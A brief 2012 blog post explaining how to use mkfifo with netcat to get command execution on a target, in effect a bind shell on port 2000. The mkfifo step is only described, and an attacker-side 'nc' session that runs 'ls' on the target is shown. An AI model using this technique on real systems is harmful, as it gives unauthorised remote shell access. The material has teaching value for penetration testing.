Wednesday, February 1, 2012

Using mkfifo for executing command

Ubuntu 10 above use netcat FreeBSD without execution command, so if we want to execute command, we have to use mkfifo to send processes to the file..

1. Make file using mkfifo in our target, then execute netcat for listening in port (in this case using pot 2000) and send the process for terminal to testfiles ( the file having been created)


2. Run Netcat in the attacker and execute "testfiles"

root@bt:~# nc 192.168.212.111 2000
ls
testfile
testfiles



0 komentar:

Post a Comment